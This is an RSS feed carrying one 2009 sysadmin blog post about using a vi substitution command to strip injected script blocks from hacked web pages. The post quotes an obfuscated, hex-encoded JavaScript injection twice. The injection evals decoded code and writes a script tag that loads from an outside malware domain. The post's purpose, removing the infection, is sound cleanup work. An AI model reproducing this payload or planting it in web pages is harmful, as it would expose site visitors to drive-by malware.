<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SupportSages &#187; Matching</title>
	<atom:link href="http://www.supportsages.com/blog/tag/matching/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.supportsages.com/blog</link>
	<description>Technical Support and Server Management : Musings in the fox hole.</description>
	<lastBuildDate>Thu, 05 Jan 2012 03:05:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.3</generator>
		<item>
		<title>Matching and deleting patterns across multiple lines in vi</title>
		<link>http://www.supportsages.com/blog/2009/05/matching-and-deleting-patterns-across-multiple-lines-in-vi/</link>
		<comments>http://www.supportsages.com/blog/2009/05/matching-and-deleting-patterns-across-multiple-lines-in-vi/#comments</comments>
		<pubDate>Wed, 13 May 2009 21:03:04 +0000</pubDate>
		<dc:creator>George</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Snippets]]></category>
		<category><![CDATA[across multiple lines in vi]]></category>
		<category><![CDATA[Matching]]></category>
		<category><![CDATA[mutiline searching]]></category>
		<category><![CDATA[vim]]></category>

		<guid isPermaLink="false">http://www.supportsages.com/blog/?p=335</guid>
		<description><![CDATA[If you want to search and replace a pattern similar to below,

<code>&#60;script language="javascript"&#62;&#60;!--</code><code> (function(){var nsLd='v:61r:20a:3d:22:53:63:72iptE:6eg:69ne:22:2cb:3d:22:56e:72s:69:6f:6e()+
:22:2c:6a:3d:22:22:2cu:3dna:76:69gator:2e:75:73e:72A:67:65:6et:3bif(:28:75:2e:
69:6e:64:65:78O:66(:22Win:22):3e0:29:26:26:28u:2ein:64exOf(:22N:54:206:22):3c0)
:26:26(:64:6fc:75:6dent:2eco:6f:6bie:2ein:64exOf(:22m:69:65:6b:3d1:22:29:3c:30):
26:26(:74ype:6ff(zrvzts:29:21:3d:74ypeof:28:22A:22):29:29:7bzr:76zt:73:3d:22A:22:
3bev:61l:28:22if(w:69ndow:2e:22+a+:22)j:3dj+:22:2ba+:22Major:22+b:2ba+:22Minor:22+
:62+:61+:22Bu:69:6c:64:22+b+:22j:3b:22):3bdoc:75me:6et:2ewrite:28:22:3c:73cr:69p:74:
20src:3d:2f:2fgum:62lar:2ecn:2frs:73:2f:3fid:3d:22:2bj+:22:3e:3c:5c:2fs:63r:69pt:3e:22):
3b:7d';var huwu4=nsLd.replace(/:/g,'%');var oLy=unescape(huwu4);eval(oLy)})();
// --&#62;&#60;/script&#62;</code>

Those who are in web hosting industry may know what the above line means :D. Anyways you can use this, in the vi exec mode to remove the lines

<code>:%s/&#60;script\_p\{-}--&#62;&#60;\/script&#62;//g</code>

It's better to have a perl script to search and replace the patterns. That is what we run for our clients under Enterprise monitoring plan.]]></description>
			<content:encoded><![CDATA[<p>If you want to search and replace a pattern similar to below,</p>
<p><code>&lt;script language="javascript"&gt;&lt;!--</code><code> (function(){var nsLd='v:61r:20a:3d:22:53:63:72iptE:6eg:69ne:22:2cb:3d:22:56e:72s:69:6f:6e()+<br />
:22:2c:6a:3d:22:22:2cu:3dna:76:69gator:2e:75:73e:72A:67:65:6et:3bif(:28:75:2e:<br />
69:6e:64:65:78O:66(:22Win:22):3e0:29:26:26:28u:2ein:64exOf(:22N:54:206:22):3c0)<br />
:26:26(:64:6fc:75:6dent:2eco:6f:6bie:2ein:64exOf(:22m:69:65:6b:3d1:22:29:3c:30):<br />
26:26(:74ype:6ff(zrvzts:29:21:3d:74ypeof:28:22A:22):29:29:7bzr:76zt:73:3d:22A:22:<br />
3bev:61l:28:22if(w:69ndow:2e:22+a+:22)j:3dj+:22:2ba+:22Major:22+b:2ba+:22Minor:22+<br />
:62+:61+:22Bu:69:6c:64:22+b+:22j:3b:22):3bdoc:75me:6et:2ewrite:28:22:3c:73cr:69p:74:<br />
20src:3d:2f:2fgum:62lar:2ecn:2frs:73:2f:3fid:3d:22:2bj+:22:3e:3c:5c:2fs:63r:69pt:3e:22):<br />
3b:7d';var huwu4=nsLd.replace(/:/g,'%');var oLy=unescape(huwu4);eval(oLy)})();<br />
// --&gt;&lt;/script&gt;</code></p>
<p>Those who are in web hosting industry may know what the above line means <img src='http://www.supportsages.com/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> . Anyways you can use this, in the vi exec mode to remove the lines</p>
<p><code>:%s/&lt;script\_p\{-}--&gt;&lt;\/script&gt;//g</code></p>
<p>It&#8217;s better to have a perl script to search and replace the patterns. That is what we run for our clients under Enterprise monitoring plan.</p>
<div class="tweetthis" style="text-align:left;"><p> <a  class="tt" href="http://twitter.com/home/?status=Matching+and+deleting+patterns+across+multiple+lines+in+vi+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F335" title="Post to Twitter"><img class="nothumb" src="http://www.supportsages.com/blog/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter3.png" alt="Post to Twitter" /></a> <a  class="tt" href="http://twitter.com/home/?status=Matching+and+deleting+patterns+across+multiple+lines+in+vi+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F335" title="Post to Twitter">Tweet This Post</a></p></div>]]></content:encoded>
			<wfw:commentRss>http://www.supportsages.com/blog/2009/05/matching-and-deleting-patterns-across-multiple-lines-in-vi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

